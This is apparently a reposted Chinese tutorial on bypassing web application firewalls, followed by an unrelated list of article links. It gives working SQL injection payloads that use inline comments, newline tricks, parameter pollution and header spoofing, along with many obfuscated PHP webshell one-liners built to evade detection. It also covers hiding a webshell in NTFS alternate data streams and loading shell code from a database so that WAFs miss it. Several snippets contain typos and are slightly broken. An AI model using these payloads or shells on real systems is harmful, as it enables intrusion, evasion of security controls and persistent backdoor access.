当前位置: 首页 > news >正文

bypass--绕Waf

WAF检测机制

WAF检测机制核心就是正则匹配

常见绕WAF手法

1.大小写绕过 (很老的WAF才有用)     

2.替换绕过(很老的WAF才有用)【和上传文件那个pphphp一样】     

3.特殊字符绕过 (%0a换行)

数据库注释
/**/可以尝试替换空格 sleep() => sleep/**/()
/*!*/内联注释 //可以运行
union select  => union /*!10044select*/

10044是版本号 50001等等也是 可以尝试加入到内联注释里尝试是否绕过
-- qwe /*%0a*/
union*/
http://192.168.32.128/index.php?id=1 union /*!10044select*/1,2,3-- qwe/*%0afrom admin%23*/

%0a 换行 -- qwe 注释(只注释本行) # 也是注释

http://192.168.32.128/index.php?id=1 union #/*%0a select 1,password,3 from admin limit 1,1#*/   

也可以尝试在函数加上"绕过

“sleep"() updatexml等 

4.编码绕过 (比如会多次解码的东西)     

5.等价替换 (利用其它函数替代)

[union #%0aselect 拦截][union all #%0aselect 不拦截]     

6.容器特性(例如Apace的Hpp,或者是IIS的%分割)   

iis 传参里面
s%e%l%e%c%t =>select
Apache Hpp
http://192.168.32.128/index.php?id=1/*&id=2 union select 1,password,3 from admin limit 1.1#*/  

只会接受第二个传参

7.白名单(管理员权限或者是127.0.0.1本地访问不拦截)

修改请求头    

8.缓冲区(数据太多了,超出了WAF检测的范围)

 webshell绕过

<?php eval($_REQUEST['a'])?>       

 这个就是a的一句话木马   这个语句肯定是会被拦截的,

为什么拦截           

  关于拦截最主要的还是测试,看看Waf怎么拦截

[最直接的检测应该是正则匹配]  只写<?php eval();?>  没有拦截,加了$_REQUEST['a']就拦截

测试拦截$_REQUEST['a']的哪个部分。 测试发现拦截的是 [ ]

end ()函数可以绕过

<?php eval(end($_REQUEST));?>     

这个语句就没有出现$_REQUEST [ ]所以成功过狗,我们用end来替代了 []       

 end 函数的意义:输出数组中的当前元素和最后一个元素的值,然后因为我的传参就一个 

用这个连菜刀 没有密码 

通过常量定义:

<?php define("a","$_REQUEST[a]");eval(a);  

<?php     $a='ass';    

  $b='ert';  

  $funcName=$a.$b;   //assert

  $x='funcName';    

$$x($_REQUEST[1]);  //$funcName = assert($_REQUEST[1])

通过函数定义强行分割:

<?php

function a($a){

return $a;}

eval(a($_REQUEST)[1]);?>  //强行分割$_POST['a']

通过类定义,然后传参强行分割

<?php

class User

{  

public $name = ''; (两个的单引号)

  function __destruct(){

    eval("$this->name");  

}

}

$user = new User;

$user->name = ''.$_REQUEST[1];

?>

多方式传参免杀:

    <?php    

$COOKIE = $_COOKIE;  ////获取Cookie传参 数组 a=1 $key=a $value=1

    foreach($COOKIE as $key => $value){    

    if($key=='assert'){      

     $key($_REQUEST['1'];)  

   }

   }

?>

需要设置cookie为assert

<?php

$a=get_defined_functions();  //列出mysql所有支持的函数

$a['internal'][841]($_REQUEST['a']);  841代表的是assert

<?php

if($_SERVER['HTTP USER_AGENT']=="1) )(
:eval(end($ REQUEST)):}?> 通过加 if  绕过d盾    用burp改请求头为1

拿到shell之后藏shell:

ntfs文件流  

 在菜刀命令行里执行

echo "<?php eval($_REQUEST[a])?>" >> /:123.txt  

执行之后虽然页面上没有文件产生 但实际文件已经产生

然后将上传文本改成

 <?php include('/:123.txt')?> 

 对方就看不见木马文件 dir也看不到 (只能在Windows里用)

 

绕过市面上所有WAF

 <?php eval(mysqli_fetch_assoc(mysqli_query(mysqli_ 

connect('127.0.0.1','root','root','

maoshe'),'select * from info'))['info']);

mysqli_fetch_assoc 结果中取一行数据

通过连接数据库 网址换成你的主机   打开maoshe数据库 取info表里的一个数据 实际攻击可以换成你的库名 表名 需要提前把你表明里的数据写成 eval($_REQUEST[a]

http://www.dtcms.com/a/442453.html

相关文章:

  • 企业门户网站开发背景seo自学网视频教程
  • 【龙泽科技】智能网联汽车视觉传感器仿真教学软件
  • Glup 和 Vite
  • 做网站图片的大小会计上网站建设做什么费用
  • 公司网站费怎么做分录绥德网站建设设计
  • Google开源Tunix:JAX生态的LLM微调方案来了
  • YOLO入门教程(番外):机器视觉实践—Kaggle实战:深度学习实现狗的品种识别
  • Redis和MySQL的数据同步
  • 织梦网站转移服务器厦门网站建设网络推广
  • 嵌入式系统应用-触摸屏输入 LVGL 9.3版本
  • GPT-5最新特性和优点
  • 如何做幸运28网站代理做网站怎么销售
  • 洛谷P5365解题报告
  • C语言入门:数组的常见操作算法
  • 洛谷 P1054 [NOIP 2005 提高组] 等价表达式
  • 【左程云算法020】递归和master公式
  • php 怎么做 网站 图片福州外语外贸学院
  • 网站点击率东莞网站建设的公司
  • 【Linux】线程的互斥
  • 第三十九天:斐波那契数列
  • JAVA中用到的线程调度算法是什么?
  • 网站开发是无形资产如何在家里做网站
  • PySide6 打印或显示系统支持字体(QFontDataBase)
  • 网站开发框架怎么写wordpress前端会员中心开发教程
  • redis-zset数据类型的常见指令(sorted set)
  • 触摸未来2025.10.04:当神经网络拥有了内在记忆……
  • 生成对抗网络(GANs)深度解析:从原理、变体到前沿应用
  • 项目1:get_rga_thread线程和low_camera_venc_thread线程获取低分辨率VENC码流数据
  • 哪个网站做简历好musik wordpress视频
  • 【Linux】Linux管道与进程池深度解析:从原理到实战